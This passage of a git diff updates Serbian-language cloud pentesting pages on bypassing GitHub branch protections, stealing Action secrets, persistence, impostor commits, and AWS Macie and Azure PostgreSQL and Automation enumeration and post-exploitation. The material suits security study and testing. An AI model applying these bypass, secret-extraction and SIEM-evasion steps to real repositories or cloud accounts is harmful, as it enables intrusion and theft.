broj odobrenja**: Ako ste kompromitovali nekoliko naloga, mogli biste jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** mogli biste **odobriti svoj PR** i dobiti 1 odobrenje na ovaj način. - _Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove._ -- **Odbacite odobrenja kada su novi commit-ovi poslati**: Ako ovo nije postavljeno, možete poslati legitiman kod, čekati da ga neko odobri, a zatim staviti maliciozni kod i spojiti ga u zaštićenu granu. -- **Zahtevajte preglede od vlasnika koda**: Ako je ovo aktivirano i vi ste vlasnik koda, mogli biste napraviti **Github Action da kreira vaš PR i zatim ga odobrite sami**. -- Kada je **CODEOWNER datoteka pogrešno konfigurisana**, Github se ne žali, ali je ne koristi. Stoga, ako je pogrešno konfigurisana, **zaštita vlasnika koda nije primenjena.** +- **Odbacite odobrenja kada su novi commit-ovi poslati**: Ako ovo nije postavljeno, možete poslati legitimni kod, čekati da ga neko odobri, a zatim staviti zlonamerni kod i spojiti ga u zaštićenu granu. +- **Zahtevajte preglede od vlasnika koda**: Ako je ovo aktivirano i vi ste vlasnik koda, mogli biste napraviti **Github Action da kreira vaš PR i zatim ga sami odobrite**. +- Kada je **CODEOWNER fajl pogrešno konfigurisan**, Github se ne žali, ali ga ne koristi. Stoga, ako je pogrešno konfigurisan, **zaštita vlasnika koda se ne primenjuje.** - **Dozvolite određenim akterima da zaobiđu zahteve za povlačenje**: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje. - **Uključite administratore**: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane. -- **PR otmica**: Možete biti u mogućnosti da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve. -- **Uklanjanje zaštita grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite. -- **Zaobilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`). -- Ako imate **pristup pisanju u repozitorijumu, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github akciju koja se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok ne bude kreirana**, ovo prvo slanje koda u granu će **izvršiti github akciju**. +- **PR otmica**: Možete biti u mogućnosti da **modifikujete PR nekog drugog** dodajući zlonamerni kod, odobravajući rezultantni PR sami i spajajući sve. +- **Uklanjanje zaštite grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite. +- **Zaobilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući džoker `*`). +- Ako imate **pristup za pisanje preko repozitorijuma, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github action koji se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok se ne kreira**, ovo prvo slanje koda u granu će **izvršiti github action**. ## Zaobilaženje zaštita okruženja Za uvod o [**Github okruženju proverite osnovne informacije**](basic-github-information.md#git-environments). -U slučaju da okruženje može biti **pristupano sa svih grana**, **nije zaštićeno** i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete naići na repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u koju možete poslati kod** i možete **izvući** tajne kreiranjem nove github akcije (ili modifikovanjem jedne). +U slučaju da se okruženje može **pristupiti sa svih grana**, **nije zaštićeno** i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u koju možete poslati kod** i možete **ekstrahovati** tajne kreirajući novu github action (ili modifikujući jednu). -Napomena, možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem wildcard `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github akciju jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu, tako da će github akcija biti aktivirana**. +Napomena, da možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem džokera `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github action jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu tako da će github action biti aktiviran**. ```yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali ćete u tom trenutku već imati izvučene tajne. +Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je modifikujete, ali do tog trenutka već ćete biti izbacili tajne. ## Persistencija - Generišite **korisnički token** -- Uk盗ite **github tokene** iz **tajni** +- Ukradite **github tokene** iz **tajni** - **Brisanje** rezultata **workflow-a** i **grana** - Dajte **više dozvola celoj organizaciji** -- Kreirajte **webhook-ove** za exfiltraciju informacija +- Kreirajte **webhook-ove** za eksfiltraciju informacija - Pozovite **spoljašnje saradnike** - **Uklonite** **webhook-ove** koje koristi **SIEM** -- Kreirajte/izmenite **Github Action** sa **bekdoor-om** -- Pronađite **ranjivu Github Action za injekciju komandi** putem **modifikacije** vrednosti **tajne** +- Kreirajte/modifikujte **Github Action** sa **bekdoor-om** +- Pronađite **ranjivu Github Action za injekciju komandi** putem modifikacije **tajne** vrednosti ### Impostor Commit-ovi - Bekdoor putem repo commit-ova U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commita iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**. -Kao [**ovaj**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +Kao [**ovo**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] @@ -233,4 +377,12 @@ echo 'hello world!' ``` Za više informacija proverite [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +## Reference + +- [Kako smo iskoristili CodeRabbit: od jednostavnog PR-a do RCE i pristupa za pisanje na 1M repozitorijuma](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Rubocop ekstenzije (require)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [Autentifikacija sa GitHub aplikacijom (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [Lista instalacija za autentifikovanu aplikaciju](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Kreirajte token za pristup instalaciji za aplikaciju](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index db62d7497..5dfa30e9b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,15 +1,78 @@ # Amazon Macie -## Uvod +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macie je servis za bezbednost podataka koji otkriva osetljive podatke koristeći mašinsko učenje i prepoznavanje obrazaca, pruža uvid u rizike bezbednosti podataka i omogućava automatsku zaštitu od tih rizika. +## Macie + +Amazon Macie se izdvaja kao usluga dizajnirana da **automatski otkriva, klasifikuje i identifikuje podatke** unutar AWS naloga. Koristi **mašinsko učenje** za kontinuirano praćenje i analizu podataka, fokusirajući se prvenstveno na otkrivanje i upozoravanje na neobične ili sumnjive aktivnosti ispitivanjem **cloud trail event** podataka i obrazaca ponašanja korisnika. + +Ključne karakteristike Amazon Macie: + +1. **Aktivna revizija podataka**: Koristi mašinsko učenje za aktivno pregledanje podataka dok se različite radnje dešavaju unutar AWS naloga. +2. **Otkrivanje anomalija**: Identifikuje nepravilne aktivnosti ili obrasce pristupa, generišući upozorenja kako bi umanjila potencijalne rizike od izlaganja podataka. +3. **Kontinuirano praćenje**: Automatski prati i otkriva nove podatke u Amazon S3, koristeći mašinsko učenje i veštačku inteligenciju kako bi se prilagodio obrascima pristupa podacima tokom vremena. +4. **Klasifikacija podataka uz NLP**: Koristi obradu prirodnog jezika (NLP) za klasifikaciju i interpretaciju različitih tipova podataka, dodeljujući rizik ocene kako bi prioritizovao nalaze. +5. **Praćenje bezbednosti**: Identifikuje podatke o bezbednosti, uključujući API ključeve, tajne ključeve i lične informacije, pomažući u sprečavanju curenja podataka. + +Amazon Macie je **regionalna usluga** i zahteva 'AWSMacieServiceCustomerSetupRole' IAM Role i omogućeni AWS CloudTrail za funkcionalnost. + +### Sistem upozorenja + +Macie kategorizuje upozorenja u unapred definisane kategorije kao što su: + +- Anonimizovani pristup +- Usklađenost podataka +- Gubitak akreditiva +- Eskalacija privilegija +- Ransomware +- Sumnjiv pristup, itd. + +Ova upozorenja pružaju detaljne opise i razlaganje rezultata za efikasan odgovor i rešavanje. + +### Karakteristike kontrolne table + +Kontrolna tabla kategorizuje podatke u različite sekcije, uključujući: + +- S3 objekti (po vremenskom opsegu, ACL, PII) +- Visoko rizični CloudTrail događaji/korisnici +- Lokacije aktivnosti +- Tipovi identiteta CloudTrail korisnika, i još mnogo toga. + +### Kategorizacija korisnika + +Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva: + +- **Platinum**: Visoko rizični API pozivi, često sa administratorskim privilegijama. +- **Gold**: API pozivi vezani za infrastrukturu. +- **Silver**: Srednje rizični API pozivi. +- **Bronze**: Nisko rizični API pozivi. + +### Tipovi identiteta + +Tipovi identiteta uključuju Root, IAM korisnika, Pretpostavljenu ulogu, Federisanog korisnika, AWS nalog i AWS uslugu, ukazujući na izvor zahteva. + +### Klasifikacija podataka + +Klasifikacija podataka obuhvata: + +- Content-Type: Na osnovu otkrivenog tipa sadržaja. +- Ekstenzija fajla: Na osnovu ekstenzije fajla. +- Tema: Kategorizovana prema ključnim rečima unutar fajlova. +- Regex: Kategorizovana na osnovu specifičnih regex obrazaca. + +Najveći rizik među ovim kategorijama određuje konačni nivo rizika fajla. + +### Istraživanje i analiza + +Istraživačka funkcija Amazon Macie omogućava prilagođene upite preko svih Macie podataka za dubinsku analizu. Filteri uključuju CloudTrail podatke, S3 Bucket svojstva i S3 objekte. Pored toga, podržava pozivanje drugih naloga da dele Amazon Macie, olakšavajući kolaborativno upravljanje podacima i praćenje bezbednosti. ## Listing Findings with AWS Console -Nakon skeniranja određenog S3 bucket-a za tajne i osetljive podatke, rezultati će biti generisani i prikazani u konzoli. Ovlašćeni korisnici sa dovoljnim dozvolama mogu da vide i navedu ove nalaze za svaki posao. +Nakon skeniranja specifičnog S3 bucket-a za tajne i osetljive podatke, nalazi će biti generisani i prikazani u konzoli. Ovlašćeni korisnici sa dovoljnim dozvolama mogu pregledati i listati ove nalaze za svaki posao. Screenshot 2025-02-10 at 19 08 08 + ## Revealing Secret Amazon Macie pruža funkciju koja prikazuje otkrivene tajne u formatu običnog teksta. Ova funkcionalnost pomaže u identifikaciji kompromitovanih podataka. Međutim, prikazivanje tajni u običnom tekstu se generalno ne smatra najboljom praksom zbog bezbednosnih briga, jer bi moglo potencijalno izložiti osetljive informacije. @@ -18,30 +81,62 @@ Amazon Macie pruža funkciju koja prikazuje otkrivene tajne u formatu običnog t Screenshot 2025-02-10 at 19 15 11 -## Enumeration +### Enumeration ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privesc.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> Iz perspektive napadača, ova usluga nije napravljena da detektuje napadača, već da detektuje osetljive informacije u sačuvanim datotekama. Stoga, ova usluga može **pomoći napadaču da pronađe osetljive informacije** unutar kanti.\ +> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrade te informacije. + +TODO: PRs are welcome! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index d0dc49af6..65baed036 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -9,24 +9,25 @@ Za više informacija o PostgreSQL bazi podataka pogledajte: ../az-services/az-postgresql.md {{#endref}} +### Use pg_azure_storage extension to access Storage accounts + +Moguće je koristiti ekstenziju **`pg_azure_storage` za pristup Azure Storage računima** sa PostgreSQL servera. Ovo će koristiti dozvole upravljane identiteta dodeljene serveru za pristup skladišnom računu. + +Za više informacija pogledajte ovu tehniku objašnjenu u sekciji o eskalaciji privilegija: + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Sa ovom dozvolom možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. +Sa ovom dozvolom, možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako sama ova akcija ne menja postojeće resurse, prekomerno ili neovlašćeno kreiranje baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu. -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za Postgres Flexible Server instancu na Azure. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje. @@ -58,7 +59,7 @@ az postgres flexible-server firewall-rule update \ ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` -Sa ovom dozvolom, možete ažurirati postavke konfiguracije instance Postgres Flexible Server na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. +Sa ovom dozvolom, možete ažurirati postavke konfiguracije Postgres Flexible Server instance na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. ```bash az postgres flexible-server parameter set \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 05b7aeabc..70040731f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -2,53 +2,53 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne Informacije +## Basic Information -Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **hibridne radne grupe** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku. +Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **grupe hibridnih radnika** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku. -### Podešavanja +### Settings -- **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**. -- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga. -- **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima. -- **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**. -- **Mrežni pristup**: Može se postaviti na **javne** ili **privatne**. +- **Credentials**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**. +- **Variables**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija poput API ključeva. Ako je varijabla **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga. +- **Certificates**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima. +- **Connections**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**. +- **Network Access**: Može se postaviti na **javnu** ili **privatnu**. -### Runbooks & Poslovi +### Runbooks & Jobs Runbook u Azure Automation je **skripta koja automatski obavlja zadatke** unutar vašeg okruženja u oblaku. Runbook-i se mogu pisati u PowerShell-u, Python-u ili grafičkim uređivačima. Pomažu u automatizaciji administrativnih zadataka kao što su upravljanje VM-ovima, zakrčivanje ili provere usklađenosti. -U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su akreditivi). +U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su kredencijali). -**Posao je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se posao za praćenje tog izvršenja. Svaki posao uključuje: +**Job je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se Job za praćenje tog izvršenja. Svaki posao uključuje: - **Status**: U redu, U toku, Završeno, Neuspešno, Suspendovano. -- **Izlaz**: Rezultat izvršenja Runbook-a. -- **Vreme početka i završetka**: Kada je posao započeo i završen. +- **Output**: Rezultat izvršenja Runbook-a. +- **Start and End Time**: Kada je posao započeo i završio. Posao sadrži **izlaz** izvršenja **Runbook-a**. Ako možete **pročitati** **poslove**, uradite to jer **sadrže** **izlaz** izvršenja (potencijalno **osetljive informacije**). -### Rasporedi & Webhook-ovi +### Schedules & Webhooks Postoje 3 glavna načina za izvršavanje Runbook-a: -- **Rasporedi**: Koriste se za **pokretanje** Runbook-a u **određenom vremenu** ili **intervalu**. -- **Webhook-ovi**: Ovo su **HTTP krajnje tačke** koje se mogu koristiti za **pokretanje** Runbook-a iz **spoljnih usluga**. Imajte na umu da URL webhook-a **nije vidljiv** nakon kreiranja. -- **Ručno pokretanje**: Možete **ručno pokrenuti** Runbook iz Azure Portala i iz CLI-a. +- **Schedules**: Ovi se koriste za **pokretanje** Runbook-a u **određenom vremenu** ili **intervalu**. +- **Webhooks**: Ovo su **HTTP krajnje tačke** koje se mogu koristiti za **pokretanje** Runbook-a iz **spoljnih usluga**. Imajte na umu da URL webhook-a **nije vidljiv** nakon kreiranja. +- **Manual Trigger**: Možete **ručno pokrenuti** Runbook iz Azure Portala i iz CLI-a. -### Kontrola Izvora +### Source Control Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog. Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran. +Imajte na umu da ovi webhooks **neće biti vidljivi** prilikom listanja webhooks u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** izvorne kontrole nakon što je kreiran. -Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitetu Automatizovanom nalogu, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Da bi konfigurisana izvorna kontrola radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. -### Okruženja za Izvršavanje +### Runtime Environments -Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaultu, sledeća okruženja za izvršavanje su dostupna: +Kada kreirate Runbook, moguće je odabrati runtime okruženje. Po defaultu, sledeća runtime okruženja su dostupna: - **Powershell 5.1** - **Powershell 7.1** @@ -57,34 +57,34 @@ Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaul - **Python 3.8** - **Python 2.7** -Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju. +Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti u runtime-u. -### Hibridne Radne Grupe +### Hybrid Worker Groups -U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne Radne Grupe. Hibridna Radna Grupa se sastoji od **jednog ili više Hibridnih Runbook Radnika instaliranih na vašim mašinama**, bilo na lokaciji, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a. +U Azure Automation, podrazumevano izvršno okruženje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršenja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne Grupe Radnika. Hibridna Grupa Radnika se sastoji od **jednog ili više Hibridnih Runbook Radnika instaliranih na vašim mašinama**, bilo na lokaciji, u drugim cloud okruženjima ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a. -Kada se kreira hibridna radna grupa, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije: +Kada se kreira hibridna grupa radnika, potrebno je naznačiti **kredencijale** koje će se koristiti. Postoje 2 opcije: -- **Podrazumevani akreditivi**: Ne morate davati akreditive i runbook-i će se izvršavati unutar VM-ova kao **Sistem**. -- **Specifični akreditivi**: Morate navesti naziv objekta akreditiva unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće akreditive** za VM-ove. +- **Default credentials**: Ne morate davati kredencijale i runbook-i će se izvršavati unutar VM-ova kao **Sistem**. +- **Specific credentials**: Morate navesti naziv objekta kredencijala unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće kredencijale** za VM-ove. -Dakle, ako možete odabrati da pokrenete **Runbook** u **Hibridnom Radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika). +Stoga, ako možete odabrati da pokrenete **Runbook** u **Hibridnom Radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika). -Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz servisa za metapodatke**. +Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz metadata servisa**. > [!TIP] -> Zapamtite da **servis za metapodatke** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**). +> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatizovanog naloga (**`IDENTITY_ENDPOINT`**). -### Konfiguracija Stanja (SC) +### State Configuration (SC) > [!WARNING] > Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena sa [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). -Automatizovani Nalozi takođe podržavaju **Konfiguraciju Stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama. +Automation Accounts takođe podržavaju **State Configuration (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama. -Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje 